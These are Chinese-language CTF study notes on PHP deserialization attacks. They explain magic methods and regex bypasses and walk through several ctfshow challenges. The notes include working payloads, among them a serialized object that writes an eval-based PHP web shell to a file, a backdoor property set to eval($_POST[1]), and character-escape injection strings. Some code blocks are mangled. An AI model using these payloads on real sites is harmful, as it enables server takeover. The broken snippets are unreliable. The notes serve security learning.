PHP反序列化原理

原理

  1. 序列化就是将对象转换成字符串。反序列化相反,数据的格式的转换对象的序列化利于对象的保存和传输,也可以让多个文件共享对象。

  1. 最根本的是数据类型和格式的一种相互转换
  2. serialize() 将一个对象转换成一个字符串
  3. unserialize() 将字符串还原成一个对象
  4. 总:在PHP中,一般通过构造一个包含魔术方法的类,然后在魔术方法中调用命令执行函数,客户端传入数据(可更改变量的属性)时未检验,传入的序列化数据被实例化、反序列化后触发魔术方法从而执行命令或代码

触发

  1. unserialize() 函数的变量可控,文件中存在可以利用的类

  1. 上面”name”也可以理解为是一个值

  1. 上图 s表示string类型 6表示6位 “xiaodi”表示值为”xiaodi”
  2. serialize()和unserialize()都是要先进行格式的判断,如果假如给一个字符串进行unserialize()则没有返回结果,如果给一个对象进行serialize()则也没有对象,因为数据类型格式不对,无法识别。

注意PHP单引号和双引号的区别

  1. php里的单引号会把内容当作纯文本,不会经过服务器翻译

  2. 而双引号相反,里面的内容会经过服务器处理

  3. ```php
    $foo=”data”;
    echo ‘$foo’; //单引号会输出$foo
    echo “$foo”; //双引号会转义,输出data

    
    4.   单引号不能处理变量和转义字符,**除了(\\\和\)**
    
    # PHP反序列化真题
    
    ## 添加cookie的方法:
    
    1.   用burp去添加cookie,抓包后添加指定名字的cookie,只需要在cookie的后面加上待添加cookie的名称=待添加的值,即可
    
    ```html
    Cookie: user=xxx
  4. 用firefox的插件添加

序列化一个类的语法

  1. 将一个类实例化 (实例化时在类的后面加不加括号都可以,不影响输出的结果)。
  2. 将这个对象序列化
  3. 将序列化后的字符串进行url编码
echo urlencode(serialize(new ctfShowUser()));

对类的控制

  1. 我们不能改类的方法,即不能改类中的代码
  2. 但是我们可以控制类的属性,即更改类中变量的值,例如,源码为:public isvip = true;我们可以改为public isvip = false;

ctfshow原题

web255

  1. 对cookie进行反序列化,需要调用user中的login函数,而此函数在ctfShowUser类中出现,则需要对ctfShowUser进行反序列化
  2. 使用php在线反序列化工具即可

web256

==     数值相等  可以进行数据类型转换(在比较前进行转换),如果类型转换后$a和$b相等,则为true
===   全等   不进行数据类型转换(不在比较前进行转换),如果$a等于$b,并且数据类型也相同,才能为true
!=     不等   可以进行数据类型转换,如果类型转换后$a和$b不相等,返回值为true
!==    不全等  不进行数据类型转换,如果$a和$b不相等,或者类型不相同,返回值为true
<=>    太空船运算符  当$a小于,等于,大于$b时分别返回一个小于,等于,大于0的int值
  1. 题目有多个限制
  2. 第一,username和password变量的值不能为空
  3. 第二,实例化后的user对象,login函数中限制,username和传入login函数的$u相等,password中传入login函数的 $p相等,并且是强相等
  4. 第三,判断调用的checkVip()函数中isVip的值是否为true
  5. 第四,判断vipOneKeyGetFlag()函数中username和password是否不相等,是!==的不相等,可以进行数据类型转化
  6. 这道题因为我们可以控制实例化的类,因为要求username和password不相等,所以我们可以在实例化类的时候将类中的username和password的值进行更改

  1. 一定不要忘记变量username和password的值要用引号包裹

web257

  1. __destruct():折构函数/方法

  2. 析构函数的作用和构造函数正好相反,析构函数只有在对象被垃圾收集器收集前(即对象从内存中删除之前)才会被自动调用。析构函数允许我们在销毁一个对象之前执行一些特定的操作,例如关闭文件、释放结果集等。

  3. 在 PHP 中有一种垃圾回收机制,当对象不能被访问时就会自动启动垃圾回收机制收回对象占用的内存空间。而析构函数正是在垃圾回收机制回收对象之前调用的。

  4. 析构函数不能带有任何参数,即无参析构函数(参考无参构造函数)

    public function __destruct(){
        ...
    }

题目

  1. ctfShowUser中调用了info()类,但是还提供了另一个backDoor类
  2. 在反序列化时,我们只能控制类的属性,即类中变量的值,不能控制类的方法的代码,即不能更改类的代码
  3. 可以直接将ctfShowUser类中对info类的控制改为对backDoor的控制

web258

关于正则表达式的绕过

  1. 当绕过了几个字符进行拼接的情况时,我们可以使用+来连接字符
  2. 这个和底层的unserialize()函数的原理有关
  1. 加了一个正则表达式的过滤,不能出现o:数字和c:数字的情况

  2. 我们可以使用**o:+**来绕过,使用str_replace()函数进行更改

    str_replace('被更改的字符','更改后的字符',被更改的变量);
  3. 记住更改backDoor类中的code,eval(eval())是可以执行最内层的eval的,eval和system可以随意套

    public $code='eval($_POST[1])';

    image-20220806172147228

  4. 先进行实例化后的序列化操作,然后根据产生结果进行替换,最后进行url编码

    $a = serialize(new ctfShowUser());
    $b = str_replace(':11',':+11',$a);
    $c = str_replace(':8',':+8',$b);

web260

考点:

  1. serialize()函数是对对象进行序列化,序列化是对象,而字符串也是一个对象
  2. 字符串序列化后还是包括它本身,只是多了类型等信息

题目

image-20220806182712288

web261

file_put_contents()

  1. file_put_contents()函数把一个字符串写入文件中

  2. 参数:file_put_contenst($写入哪个文件,$写入文件的数据)

  3. image-20220807132631831

  4. 使用FILE_APPEND标记,可以在文件末尾追加内容

题目

  1. 因为这个地方没有调用实例化后的类,并且在类后面显式地加入参数,所以这里的__invoke()函数是用不到的

  2. ```php
    // php __invoke()函数的使用
    // __invoke()函数会在将一个对象当作一个方法来使用时自动调用
    public mixed __invoke() {

      //其它功能
    

    }
    // 意义就是:可以将实例当作普通方法来调用
    //例如下面:$Person = new Person(); 此时的$Person就可以当作普通方法

    name = $name; $this->age = $age; $this->sex = $sex; } public function __invoke() { return '你好,我的名字是: '. $this->name . ',我 '. $this->age .' 岁了。'; } } $person = new Person('Yufei',30,'Male'); echo $person(), "\n";
    
    3.   
    
    4.   __wakeup()在类的外部使用unserialize()函数进行调用时,**会自动调用\__wakeup函数**,这个函数判断username和password是否为空
    
    5.   ```php
         //就是当使用unserialize()反序列化一个对象成功后,会自动调用这个对象的__wakeup()魔术方法
         public function __wakeup() {
             //一些其它的初始化操作
         }
  3. 在__destruct()函数中,使用file_put_contents将password写入username中,所以这个地方要求username是一个文件,password可以是一句话木马

  4. 0x36d是877,这里是弱类型比较

    <?php
    class ctfshowvip{
        public $username;
        public $password;
        public $code;
     
        public function __construct(){
            $this->username=$u='877.php';
            $this->password=$p='<?php @eval($_POST[1]);?>';
        }
    }
     
    echo urlencode(serialize(new ctfShowvip()));
    1. 将序列化后的代码用?vip=拼接到后面
    2. 在URL后面加877.php,post传1=phpinfo();1=system(‘ls ./‘);最后在根目录下发现flag_is_here即可解出答案

web262

  1. 直接观察源代码,发现index中没有任何引用flag的,但是发现还有一个php文件

  2. 打开它查看源码

  3. 修改类中的token,然后进行序列化,base64_encode即可

  4. 加到cookie中,拿到flag

web262

PHP反序列化特点

  1. PHP在进行反序列化时,底层代码是以**;作为字段的分隔,以}**作为结尾(字符串除外),并且是根据长度判断内容的,同时反序列化的过程中必须严格按照序列化规则才能成功实现反序列化。

  2. 下图中因为abcd在大括号之外,所以不会被反序列化成功,在之前已经结束了

  3. 当序列化长度不对应的时候会出现报错

  4. 可以反序列化类中不存在的元素

    <?php
    class user{
    public $name = 'purplet';
    public $age = '20';
    }
    $b='O:4:"user":3:{s:4:"name";s:7:"purplet";s:3:"age";s:2:"20";s:6:"gender";s:3:"boy";}';
    print_r(unserialize($b));
    ?>

PHP反序列化字符逃逸、什么样的才能逃逸

  1. 字符逃逸的本质其实也是闭合,但是它分为两种情况,一是字符变多,二是字符变少

  2. 序列化后的字符串进行了一个替换,而且替换导致了字符数量的不一致,使用了类似于**str_replace()**等函数

  3. 注意是序列化后,先后顺序,先serialize() 再str_replace(),因为序列化后再替换,替换的只有value,而不会替换string判断的长度,这时候就可以去构造逃逸

字符逃逸–字符增多

<?php
function filter($string){
    $filter = '/p/i';
    return preg_replace($filter,'WW',$string);
}
$username = 'purplet';
$age = "10";
$user = array($username, $age);
var_dump(serialize($user));

结果为

string(37) "a:2:{i:0;s:7:"purplet";i:1;s:2:"10";}"
  1. 修改age的值的代码,值为 “;i:1;s:2:”20”;}” 再计算一下构造代码长度为16,同时知晓过滤是每有一个p就会多出一个字符,那么此时就再需要输入16个p,与上面构造的代码 “;i:1;s:2:”20”;}” 拼接,即username=’pppppppppppppppp”;i:1;s:2:”20”;}’,这样序列化对应的32位长度再过滤后的序列化时就会被32个w全部填充,从而 “;i:1;s:2:”20”;} 成功逃逸(后面逃逸出去的就不要了,即后面的值被忽略这是特点1

  2. 这时就可以绕过对某个属性值的过滤

字符逃逸–字符减少

  1. ```php

    "; $r = filter(serialize($user)); var_dump($r); var_dump(unserialize($r)); ?>
    
         ![](https://xzfile.aliyuncs.com/media/upload/picture/20210215065553-ca5e56b2-6f17-1.png)
    
         这个地方虽然替换后字符串长度减少了,但是在序列化后的字符串中显示的还是7,因为这种字符减少的字符逃逸会向后吞噬第一个 **"** 直到 **;** 结束,所以这种问题就不再是只传一个值,而是应该**在username处传递构造的过滤字符,age处传递逃逸代码**
    
    #### 字符减少字符逃逸三步走
    
    #### 第一步
    
    1.   将**age的值改为要修改的数值**,即20,得到age处序列化的值为
    
         ```php
         ;i:1;s:2:"20";}
  2. 上面得到的值即为最终的逃逸代码,把这段数值再次传入demo代码的age处

第二步

  1. age处传递一个任意数值和双引号进行闭合,即再次传入

    age=A";i:1;s:2:"20";},

第三步

  1. 计算选中部分(长度为13),根据过滤后字符缩减情况构造,demo中每两个p变为一个W,相当于逃逸1位,选中部分即为逃逸字符

  2. 最终传递

    username=pppppppppppppppppppppppppp,age=A";i:1;s:2:"20";}

计算公式

  1. 逃逸字符数 * 过滤时多出来/少出来的字符数
  2. 实际问题就是如何多出来逃逸代码的字符数

wp思路讲解

  1. 序列化时,类中所有的属性(定义的变量)都会显示出来,即使没有给他传入参数,即如果有锁死的,不能由外部传入而改变的属性,也会在序列化时显示出来

    <?php
    class user{
    	public $username;
    	public $password;
    	public $isVIP;
    	
    	public function __construct($u,$p){
    		$this -> username=$u;
    		$this -> password=$p;
    		$this -> isVIP = 0;
    	}
    	}
    $u = new user('admin','123456');
    echo serialize($u);
    ?>
    
    // O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
  2.   <?php
      class user{
          public $username;
          public $password;
          public $isVIP;
          
          public function __construct($u,$p){
              $this -> username=$u;
              $this -> password=$p;
              $this -> isVIP = 0;
          }
          }
      
          public function filter($s){
              return str_replace('admin','hacker',$s);
          }
      
      $u = new user('admin','123456');
      $u_serialize = serialize($u);
      $us = filter($u_serialize);
      echo $us;
      ?>
      
      //  O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
    
  3. 修改锁死的属性,第一步,将传入的第一个参数给出的结果从后引号开始复制,然后将锁死的变量值改为需要的值

  1. 注意,第一个 } 后面的payload会被直接忽略

  2. 修改锁死的属性,第二步,strlen一下,看看一共多出来多少字符数,根据上面的《计算公式》,算出需要多少个原始payload(admin),再根据前面的数值,看看单引号里面的数值,不够就添,够了就删,凑够即可反序列化成功